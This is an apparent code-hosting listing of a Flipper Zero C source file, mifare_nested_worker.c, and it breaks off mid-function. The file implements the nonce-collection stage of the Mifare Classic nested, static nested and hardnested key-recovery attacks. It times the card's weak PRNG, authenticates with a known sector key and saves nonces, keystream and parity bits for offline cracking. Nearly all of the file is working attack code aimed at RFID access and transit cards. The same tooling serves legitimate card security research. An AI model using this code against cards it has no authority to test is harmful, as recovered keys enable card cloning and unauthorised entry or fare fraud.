mifare_nested_worker.c 60 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710
  1. #include "mifare_nested_worker_i.h"
  2. #include "lib/nested/nested.h"
  3. #include "lib/parity/parity.h"
  4. #include "lib/nfclegacy/protocols/nfc_util.h"
  5. #include <storage/storage.h>
  6. #include <stream/stream.h>
  7. #include <stream/file_stream.h>
  8. #include "string.h"
  9. #define TAG "MifareNestedWorker"
  10. // possible sum property values
  11. static uint16_t sums[] =
  12. {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256};
  13. void mifare_nested_worker_change_state(
  14. MifareNestedWorker* mifare_nested_worker,
  15. MifareNestedWorkerState state) {
  16. furi_assert(mifare_nested_worker);
  17. mifare_nested_worker->state = state;
  18. }
  19. MifareNestedWorker* mifare_nested_worker_alloc() {
  20. MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker));
  21. // Worker thread attributes
  22. mifare_nested_worker->thread = furi_thread_alloc_ex(
  23. "MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker);
  24. mifare_nested_worker->callback = NULL;
  25. mifare_nested_worker->context = NULL;
  26. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
  27. return mifare_nested_worker;
  28. }
  29. void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) {
  30. furi_assert(mifare_nested_worker);
  31. furi_thread_free(mifare_nested_worker->thread);
  32. free(mifare_nested_worker);
  33. }
  34. void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) {
  35. furi_assert(mifare_nested_worker);
  36. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop);
  37. furi_thread_join(mifare_nested_worker->thread);
  38. }
  39. void mifare_nested_worker_start(
  40. MifareNestedWorker* mifare_nested_worker,
  41. MifareNestedWorkerState state,
  42. NfcDeviceData* dev_data,
  43. MifareNestedWorkerCallback callback,
  44. void* context) {
  45. furi_assert(mifare_nested_worker);
  46. furi_assert(dev_data);
  47. mifare_nested_worker->callback = callback;
  48. mifare_nested_worker->context = context;
  49. mifare_nested_worker->dev_data = dev_data;
  50. mifare_nested_worker_change_state(mifare_nested_worker, state);
  51. furi_thread_start(mifare_nested_worker->thread);
  52. }
  53. int32_t mifare_nested_worker_task(void* context) {
  54. MifareNestedWorker* mifare_nested_worker = context;
  55. if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
  56. mifare_nested_worker_check(mifare_nested_worker);
  57. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
  58. mifare_nested_worker_collect_nonces_static(mifare_nested_worker);
  59. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  60. mifare_nested_worker_collect_nonces(mifare_nested_worker);
  61. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  62. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  63. } else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  64. mifare_nested_worker_check_keys(mifare_nested_worker);
  65. }
  66. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
  67. return 0;
  68. }
  69. void mifare_nested_worker_write_uid_string(FurryHalNfcDevData* data, FuriString* string) {
  70. uint8_t* uid = data->uid;
  71. uint8_t uid_len = data->uid_len;
  72. for(size_t i = 0; i < uid_len; i++) {
  73. uint8_t uid_part = uid[i];
  74. furi_string_cat_printf(string, "%02X", uid_part);
  75. }
  76. }
  77. void mifare_nested_worker_get_key_cache_file_path(FurryHalNfcDevData* data, FuriString* file_path) {
  78. furi_string_set(file_path, EXT_PATH("nfc/.cache") "/");
  79. mifare_nested_worker_write_uid_string(data, file_path);
  80. furi_string_cat_printf(file_path, ".keys");
  81. }
  82. void mifare_nested_worker_get_nonces_file_path(FurryHalNfcDevData* data, FuriString* file_path) {
  83. furi_string_set(file_path, NESTED_FOLDER "/");
  84. mifare_nested_worker_write_uid_string(data, file_path);
  85. furi_string_cat_printf(file_path, ".nonces");
  86. }
  87. void mifare_nested_worker_get_found_keys_file_path(FurryHalNfcDevData* data, FuriString* file_path) {
  88. furi_string_set(file_path, NESTED_FOLDER "/");
  89. mifare_nested_worker_write_uid_string(data, file_path);
  90. furi_string_cat_printf(file_path, ".keys");
  91. }
  92. void mifare_nested_worker_get_hardnested_folder_path(
  93. FurryHalNfcDevData* data,
  94. FuriString* file_path) {
  95. furi_string_set(file_path, NESTED_FOLDER "/");
  96. mifare_nested_worker_write_uid_string(data, file_path);
  97. }
  98. void mifare_nested_worker_get_hardnested_file_path(
  99. FurryHalNfcDevData* data,
  100. FuriString* file_path,
  101. uint8_t sector,
  102. uint8_t key_type) {
  103. mifare_nested_worker_get_hardnested_folder_path(data, file_path);
  104. furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type);
  105. }
  106. uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {
  107. furi_assert(sector < 40);
  108. if(sector < 32) {
  109. return (sector * 4) + 3;
  110. } else {
  111. return 32 * 4 + (sector - 32) * 16 + 15;
  112. }
  113. }
  114. static MfClassicSectorTrailer*
  115. mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) {
  116. return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)]
  117. .value;
  118. }
  119. bool mifare_nested_worker_read_key_cache(FurryHalNfcDevData* data, MfClassicData* mf_data) {
  120. Storage* storage = furi_record_open(RECORD_STORAGE);
  121. FuriString* temp_str = furi_string_alloc();
  122. mifare_nested_worker_get_key_cache_file_path(data, temp_str);
  123. FlipperFormat* file = flipper_format_file_alloc(storage);
  124. bool load_success = false;
  125. uint32_t sector_count = 0;
  126. do {
  127. if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break;
  128. if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break;
  129. uint32_t version = 0;
  130. if(!flipper_format_read_header(file, temp_str, &version)) break;
  131. if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break;
  132. if(version != 1) break;
  133. if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break;
  134. if(!furi_string_cmp(temp_str, "1K")) {
  135. mf_data->type = MfClassicType1k;
  136. sector_count = 16;
  137. } else if(!furi_string_cmp(temp_str, "4K")) {
  138. mf_data->type = MfClassicType4k;
  139. sector_count = 40;
  140. } else if(!furi_string_cmp(temp_str, "MINI")) {
  141. mf_data->type = MfClassicTypeMini;
  142. sector_count = 5;
  143. } else {
  144. break;
  145. }
  146. if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break;
  147. if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break;
  148. bool key_read_success = true;
  149. for(size_t i = 0; (i < sector_count) && (key_read_success); i++) {
  150. MfClassicSectorTrailer* sec_tr =
  151. mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i);
  152. if(FURI_BIT(mf_data->key_a_mask, i)) {
  153. furi_string_printf(temp_str, "Key A sector %d", i);
  154. key_read_success = flipper_format_read_hex(
  155. file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6);
  156. }
  157. if(!key_read_success) break;
  158. if(FURI_BIT(mf_data->key_b_mask, i)) {
  159. furi_string_printf(temp_str, "Key B sector %d", i);
  160. key_read_success = flipper_format_read_hex(
  161. file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6);
  162. }
  163. }
  164. load_success = key_read_success;
  165. } while(false);
  166. furi_string_free(temp_str);
  167. flipper_format_free(file);
  168. return load_success;
  169. }
  170. bool hex_char_to_hex_nibble(char c, uint8_t* nibble) {
  171. if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
  172. if(c <= '9') {
  173. *nibble = c - '0';
  174. } else if(c <= 'F') {
  175. *nibble = c - 'A' + 10;
  176. } else {
  177. *nibble = c - 'a' + 10;
  178. }
  179. return true;
  180. } else {
  181. return false;
  182. }
  183. }
  184. bool hex_char_to_uint8(char hi, char low, uint8_t* value) {
  185. uint8_t hi_nibble_value, low_nibble_value;
  186. if(hex_char_to_hex_nibble(hi, &hi_nibble_value) &&
  187. hex_char_to_hex_nibble(low, &low_nibble_value)) {
  188. *value = (hi_nibble_value << 4) | low_nibble_value;
  189. return true;
  190. } else {
  191. return false;
  192. }
  193. }
  194. void free_nonces(NonceList_t* nonces, uint8_t sector_count, uint8_t tries_count) {
  195. for(uint8_t sector = 0; sector < sector_count; sector++) {
  196. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  197. for(uint8_t tries = 0; tries < tries_count; tries++) {
  198. free(nonces->nonces[sector][key_type][tries]);
  199. }
  200. }
  201. }
  202. }
  203. MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) {
  204. UNUSED(ATQA1);
  205. if((ATQA0 == 0x44 || ATQA0 == 0x04)) {
  206. if((SAK == 0x08 || SAK == 0x88)) {
  207. return MfClassicType1k;
  208. } else if(SAK == 0x09) {
  209. return MfClassicTypeMini;
  210. }
  211. } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) {
  212. //skylanders support
  213. return MfClassicType1k;
  214. } else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) {
  215. return MfClassicType4k;
  216. }
  217. return MfClassicType1k;
  218. }
  219. uint32_t mifare_nested_worker_predict_delay(
  220. FurryHalNfcTxRxContext* tx_rx,
  221. uint8_t blockNo,
  222. uint8_t keyType,
  223. uint64_t ui64Key,
  224. uint32_t tries,
  225. MifareNestedWorker* mifare_nested_worker) {
  226. uint32_t cuid = 0;
  227. Crypto1* crypto = malloc(sizeof(Crypto1));
  228. uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;
  229. if(tries > 25) {
  230. free(crypto);
  231. return 2; // Too many tries, fallback to hardnested
  232. }
  233. // This part of attack is my attempt to implement it on Flipper.
  234. // Check README.md for more info
  235. // First, we find RPNG rounds per 1000 us
  236. for(uint32_t rtr = 0; rtr < 25; rtr++) {
  237. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  238. free(crypto);
  239. return 1;
  240. }
  241. nfc_activate();
  242. if(!furry_hal_nfc_activate_nfca(200, &cuid)) break;
  243. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  244. furi_delay_us(rtr * 1000);
  245. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  246. // Searching for delay, where PRNG will be near 800
  247. uint32_t nttmp = prng_successor(nt1, 100);
  248. for(i = 101; i < 65565; i++) {
  249. nttmp = prng_successor(nttmp, 1);
  250. if(nttmp == nt2) break;
  251. }
  252. if(!rtr) {
  253. zero_prng_value = i;
  254. }
  255. if(previous && i > previous && i != 65565) {
  256. if(!prng_delay) {
  257. prng_delay = i - previous;
  258. } else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) {
  259. prng_delay += i - previous;
  260. prng_delay /= 2;
  261. }
  262. }
  263. previous = i;
  264. FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000);
  265. // Let's hope...
  266. if(i > 810 && i < 840) {
  267. free(crypto);
  268. return rtr * 1000;
  269. }
  270. }
  271. FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay);
  272. // Next, we try to calculate time until PRNG near 800 with more perfect timing
  273. // Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles
  274. if(zero_prng_value == 65565) {
  275. free(crypto);
  276. // PRNG isn't pretictable
  277. return 1;
  278. }
  279. uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay;
  280. uint32_t limit = 7;
  281. for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) {
  282. for(uint32_t rtz = 0; rtz < 100; rtz++) {
  283. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  284. free(crypto);
  285. return 1;
  286. }
  287. nfc_activate();
  288. if(!furry_hal_nfc_activate_nfca(200, &cuid)) break;
  289. uint32_t delay = rtr * 1000 + rtz * 10;
  290. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  291. furi_delay_us(delay);
  292. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  293. // Searching for delay, where PRNG will be near 800
  294. uint32_t nttmp = prng_successor(nt1, 0);
  295. for(i = 1; i < 65565; i++) {
  296. nttmp = prng_successor(nttmp, 1);
  297. if(nttmp == nt2) break;
  298. }
  299. if(!(i > previous - 50 && i < previous + 50) && rtz) {
  300. repeat++;
  301. if(repeat < 5) {
  302. FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i);
  303. continue;
  304. }
  305. }
  306. if(i > 2000 && i < 65500) {
  307. uint32_t catch_cycles = (65565 - i) / prng_delay;
  308. if(catch_cycles > 2) {
  309. catch_cycles++;
  310. FURI_LOG_D(
  311. TAG,
  312. "Trying a more accurate value: skipping additional %lu us",
  313. catch_cycles * 1000);
  314. limit += catch_cycles + 2;
  315. rtr += catch_cycles;
  316. }
  317. }
  318. FURI_LOG_D(
  319. TAG,
  320. "Calibrating: ntdist=%lu, delay=%lu, max=%lu",
  321. i,
  322. delay,
  323. (cycles_to_reset + limit) * 1000);
  324. repeat = 0;
  325. previous = i;
  326. if(i > 810 && i < 840) {
  327. free(crypto);
  328. FURI_LOG_I(TAG, "Found delay: %lu us", delay);
  329. return delay;
  330. } else if(i > 840 && i < 40000) {
  331. FURI_LOG_D(TAG, "Trying again: timing lost");
  332. tries++;
  333. free(crypto);
  334. return mifare_nested_worker_predict_delay(
  335. tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
  336. }
  337. }
  338. }
  339. if(i > 1000 && i < 65000) {
  340. FURI_LOG_D(TAG, "Trying again: wrong predicted timing");
  341. tries++;
  342. free(crypto);
  343. return mifare_nested_worker_predict_delay(
  344. tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
  345. }
  346. free(crypto);
  347. return 1;
  348. }
  349. SaveNoncesResult_t* mifare_nested_worker_write_nonces(
  350. FurryHalNfcDevData* data,
  351. Storage* storage,
  352. NonceList_t* nonces,
  353. uint8_t tries_count,
  354. uint8_t free_tries_count,
  355. uint8_t sector_count,
  356. uint32_t delay,
  357. uint32_t distance) {
  358. FuriString* path = furi_string_alloc();
  359. Stream* file_stream = file_stream_alloc(storage);
  360. SaveNoncesResult_t* result = malloc(sizeof(SaveNoncesResult_t));
  361. result->saved = 0;
  362. result->invalid = 0;
  363. result->skipped = 0;
  364. mifare_nested_worker_get_nonces_file_path(data, path);
  365. file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);
  366. FuriString* header = furi_string_alloc_printf(
  367. "Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n",
  368. NESTED_NONCE_FORMAT_VERSION,
  369. NESTED_RECOVER_KEYS_GITHUB_LINK);
  370. stream_write_string(file_stream, header);
  371. for(uint8_t tries = 0; tries < tries_count; tries++) {
  372. for(uint8_t sector = 0; sector < sector_count; sector++) {
  373. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  374. if(nonces->nonces[sector][key_type][tries]->invalid) {
  375. if(tries == 0) {
  376. result->invalid++;
  377. }
  378. } else if(nonces->nonces[sector][key_type][tries]->skipped) {
  379. if(tries == 0) {
  380. result->skipped++;
  381. }
  382. } else if(nonces->nonces[sector][key_type][tries]->collected) {
  383. if(nonces->nonces[sector][key_type][tries]->hardnested) {
  384. FuriString* hardnested_path = furi_string_alloc();
  385. mifare_nested_worker_get_hardnested_file_path(
  386. data, hardnested_path, sector, key_type);
  387. FuriString* str = furi_string_alloc_printf(
  388. "HardNested: Key %c cuid 0x%08lx file %s sec %u\n",
  389. !key_type ? 'A' : 'B',
  390. nonces->cuid,
  391. furi_string_get_cstr(hardnested_path),
  392. sector);
  393. stream_write_string(file_stream, str);
  394. furi_string_free(hardnested_path);
  395. furi_string_free(str);
  396. } else {
  397. FuriString* str = furi_string_alloc_printf(
  398. "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid);
  399. for(uint8_t type = 0; type < 2; type++) {
  400. furi_string_cat_printf(
  401. str,
  402. " nt%u 0x%08lx ks%u 0x%08lx par%u ",
  403. type,
  404. nonces->nonces[sector][key_type][tries]->target_nt[type],
  405. type,
  406. nonces->nonces[sector][key_type][tries]->target_ks[type],
  407. type);
  408. uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];
  409. for(uint8_t i = 0; i < 4; i++) {
  410. furi_string_cat_printf(str, "%u", par[i]);
  411. }
  412. }
  413. furi_string_cat_printf(str, " sec %u\n", sector);
  414. stream_write_string(file_stream, str);
  415. furi_string_free(str);
  416. }
  417. result->saved++;
  418. }
  419. }
  420. }
  421. }
  422. if(delay) {
  423. FuriString* str =
  424. furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance);
  425. stream_write_string(file_stream, str);
  426. furi_string_free(str);
  427. }
  428. free_nonces(nonces, sector_count, free_tries_count);
  429. file_stream_close(file_stream);
  430. stream_free(file_stream);
  431. if(!result->saved) {
  432. FURI_LOG_E(TAG, "No nonces collected, removing file...");
  433. if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
  434. FURI_LOG_E(TAG, "Failed to remove .nonces file");
  435. }
  436. }
  437. furi_string_free(path);
  438. furi_record_close(RECORD_STORAGE);
  439. return result;
  440. }
  441. bool mifare_nested_worker_check_initial_keys(
  442. NonceList_t* nonces,
  443. MfClassicData* mf_data,
  444. uint8_t tries_count,
  445. uint8_t sector_count,
  446. uint64_t* key,
  447. uint32_t* key_block,
  448. uint32_t* found_key_type) {
  449. bool has_a_key, has_b_key;
  450. FurryHalNfcTxRxContext tx_rx = {};
  451. for(uint8_t sector = 0; sector < sector_count; sector++) {
  452. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  453. for(uint8_t tries = 0; tries < tries_count; tries++) {
  454. Nonces* info = malloc(sizeof(Nonces));
  455. info->key_type = key_type;
  456. info->block = mifare_nested_worker_get_block_by_sector(sector);
  457. info->collected = false;
  458. info->skipped = true;
  459. info->from_start = false;
  460. nonces->nonces[sector][key_type][tries] = info;
  461. }
  462. }
  463. }
  464. for(uint8_t sector = 0; sector < sector_count; sector++) {
  465. MfClassicSectorTrailer* trailer =
  466. mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector);
  467. has_a_key = FURI_BIT(mf_data->key_a_mask, sector);
  468. has_b_key = FURI_BIT(mf_data->key_b_mask, sector);
  469. if(has_a_key) {
  470. for(uint8_t tries = 0; tries < tries_count; tries++) {
  471. Nonces* info = nonces->nonces[sector][0][tries];
  472. info->collected = true;
  473. info->skipped = true;
  474. info->from_start = true;
  475. nonces->nonces[sector][0][tries] = info;
  476. }
  477. if(*key_block == 0) {
  478. uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6);
  479. if(nested_check_key(
  480. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) ==
  481. NestedCheckKeyValid) {
  482. *key = key_check;
  483. *key_block = mifare_nested_worker_get_block_by_sector(sector);
  484. *found_key_type = 0;
  485. }
  486. }
  487. }
  488. if(has_b_key) {
  489. for(uint8_t tries = 0; tries < tries_count; tries++) {
  490. Nonces* info = nonces->nonces[sector][1][tries];
  491. info->collected = true;
  492. info->skipped = true;
  493. info->from_start = true;
  494. nonces->nonces[sector][1][tries] = info;
  495. }
  496. if(*key_block == 0) {
  497. uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6);
  498. if(nested_check_key(
  499. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) ==
  500. NestedCheckKeyValid) {
  501. *key = key_check;
  502. *key_block = mifare_nested_worker_get_block_by_sector(sector);
  503. *found_key_type = 1;
  504. }
  505. }
  506. }
  507. }
  508. nonces->cuid = 0;
  509. nonces->hardnested_states = 0;
  510. nonces->sector_count = sector_count;
  511. nonces->tries = tries_count;
  512. return *key_block;
  513. }
  514. void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) {
  515. while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
  516. FurryHalNfcTxRxContext tx_rx = {};
  517. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  518. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  519. FurryHalNfcDevData data = {};
  520. MifareNestedNonceType type = MifareNestedNonceNoTag;
  521. nested_get_data(&data);
  522. if(mifare_nested_worker_read_key_cache(&data, mf_data)) {
  523. for(uint8_t sector = 0; sector < 40; sector++) {
  524. if(FURI_BIT(mf_data->key_a_mask, sector) ||
  525. FURI_BIT(mf_data->key_b_mask, sector)) {
  526. type = nested_check_nonce_type(
  527. &tx_rx, mifare_nested_worker_get_block_by_sector(sector));
  528. break;
  529. }
  530. }
  531. if(type == MifareNestedNonceNoTag) {
  532. type = nested_check_nonce_type(&tx_rx, 0);
  533. }
  534. } else {
  535. type = nested_check_nonce_type(&tx_rx, 0);
  536. }
  537. if(type == MifareNestedNonceStatic) {
  538. mifare_nested_worker->context->collecting_type =
  539. MifareNestedWorkerStateCollectingStatic;
  540. mifare_nested_worker->callback(
  541. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  542. break;
  543. } else if(type == MifareNestedNonceWeak) {
  544. mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting;
  545. mifare_nested_worker->callback(
  546. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  547. break;
  548. } else if(type == MifareNestedNonceHard) {
  549. mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingHard;
  550. mifare_nested_worker->callback(
  551. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  552. break;
  553. }
  554. furi_delay_ms(250);
  555. }
  556. nfc_deactivate();
  557. }
  558. void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) {
  559. NonceList_t nonces;
  560. Storage* storage = furi_record_open(RECORD_STORAGE);
  561. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  562. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  563. FuriString* folder_path = furi_string_alloc();
  564. FurryHalNfcDevData data = {};
  565. nested_get_data(&data);
  566. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  567. uint64_t key = 0; // Found key for attack
  568. uint32_t found_key_type = 0;
  569. uint32_t key_block = 0;
  570. uint32_t sector_count = 0;
  571. FURI_LOG_I(TAG, "Running Static Nested attack");
  572. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  573. mifare_nested_worker_write_uid_string(&data, tag_info);
  574. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  575. furi_string_free(tag_info);
  576. if(type == MfClassicType4k) {
  577. sector_count = 40;
  578. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  579. } else if(type == MfClassicType1k) {
  580. sector_count = 16;
  581. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  582. } else { // if(type == MfClassicTypeMini)
  583. sector_count = 5;
  584. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  585. }
  586. furi_string_set(folder_path, NESTED_FOLDER);
  587. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  588. furi_string_free(folder_path);
  589. bool ok = mifare_nested_worker_read_key_cache(&data, mf_data);
  590. if(ok) {
  591. ok = mifare_nested_worker_check_initial_keys(
  592. &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type);
  593. if(!ok) {
  594. free_nonces(&nonces, sector_count, 1);
  595. }
  596. }
  597. if(!ok) {
  598. mifare_nested_worker->callback(
  599. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  600. nfc_deactivate();
  601. return;
  602. }
  603. FURI_LOG_I(
  604. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  605. while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
  606. FurryHalNfcTxRxContext tx_rx = {};
  607. for(uint8_t sector = 0; sector < sector_count; sector++) {
  608. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  609. Nonces* info = nonces.nonces[sector][key_type][0];
  610. if(info->collected) {
  611. FURI_LOG_I(
  612. TAG,
  613. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  614. sector,
  615. mifare_nested_worker_get_block_by_sector(sector),
  616. key_type);
  617. info->skipped = true;
  618. nonces.nonces[sector][key_type][0] = info;
  619. mifare_nested_worker->context->nonces = &nonces;
  620. mifare_nested_worker->callback(
  621. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  622. continue;
  623. }
  624. if(!nested_check_block(
  625. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  626. FURI_LOG_E(
  627. TAG,
  628. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  629. sector,
  630. mifare_nested_worker_get_block_by_sector(sector),
  631. key_type);
  632. info->invalid = true;
  633. nonces.nonces[sector][key_type][0] = info;
  634. mifare_nested_worker->context->nonces = &nonces;
  635. mifare_nested_worker->callback(
  636. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  637. continue;
  638. }
  639. while(!info->collected) {
  640. if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) {
  641. break;
  642. }
  643. struct nonce_info_static result = nested_static_nonce_attack(
  644. &tx_rx,
  645. key_block,
  646. found_key_type,
  647. mifare_nested_worker_get_block_by_sector(sector),
  648. key_type,
  649. key);
  650. if(result.full) {
  651. FURI_LOG_I(
  652. TAG,
